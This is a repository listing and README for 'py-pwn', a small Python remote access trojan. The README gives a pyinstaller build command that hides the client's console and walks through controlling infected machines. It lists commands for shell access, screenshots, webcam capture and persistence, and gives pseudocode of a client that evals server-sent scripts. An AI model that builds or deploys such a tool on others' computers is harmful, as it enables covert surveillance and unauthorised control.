https://github.com/sshh12/py-pwn
A super simple Python-based RAT.
https://github.com/sshh12/py-pwn
pyinstaller remote-administration-tool websockets
Last synced: 6 months ago
JSON representation
A super simple Python-based RAT.
- Host: GitHub
- URL: https://github.com/sshh12/py-pwn
- Owner: sshh12
- License: mit
- Created: 2020-09-25T20:56:58.000Z (about 5 years ago)
- Default Branch: master
- Last Pushed: 2020-12-17T01:11:33.000Z (almost 5 years ago)
- Last Synced: 2025-02-14T12:17:41.854Z (8 months ago)
- Topics: pyinstaller, remote-administration-tool, websockets
- Language: Python
- Homepage:
- Size: 12.7 KB
- Stars: 0
- Watchers: 3
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# py-pwn
> A super simple Python-based [RAT](https://www.geeksforgeeks.org/introduction-to-rat-remote-administration-tool/).
## Usage
1. Create `config.py` and update `PORT` in `server.py`
```python
config = {"uri": "ws://:", "imgur_key": ""}
```2. `$ pyinstaller --noconsole --onefile --hidden-import=pyscreenshot --hidden-import=pyimgur --hidden-import=cv2 --hidden-import=pyautogui client.py`
3. Double click the generated binary on a client computer while the server is running `server.py`.
4. Use the server to interactively control clients.
```
> scripts
type
say
ping
kill
shell
screenshot
msg_box
camshot
open_url
persist
> list
0 127.0.0.1/DESKTOP-ABC123/0
> interact 0
[127.0.0.1/DESKTOP-ABC123/0] >> open_url("https://www.youtube.com/watch?v=YddwkMJG1Jo")
```5. _While_ the server is running you can add/edit scripts in [/scripts](https://github.com/sshh12/py-pwn/tree/master/scripts).
## How It Works
_As pseudo code..._
### Client
```python
conn = connect_to_server_websocket()
while True:
script, args = conn.read()
eval(script)(args)
```### Server
```python
server = run_websocket_server()
while True:
cmd = input(' > ')
script_name, args = parse(cmd)
server.send_to_selected_client(read_file(script_name), args)
```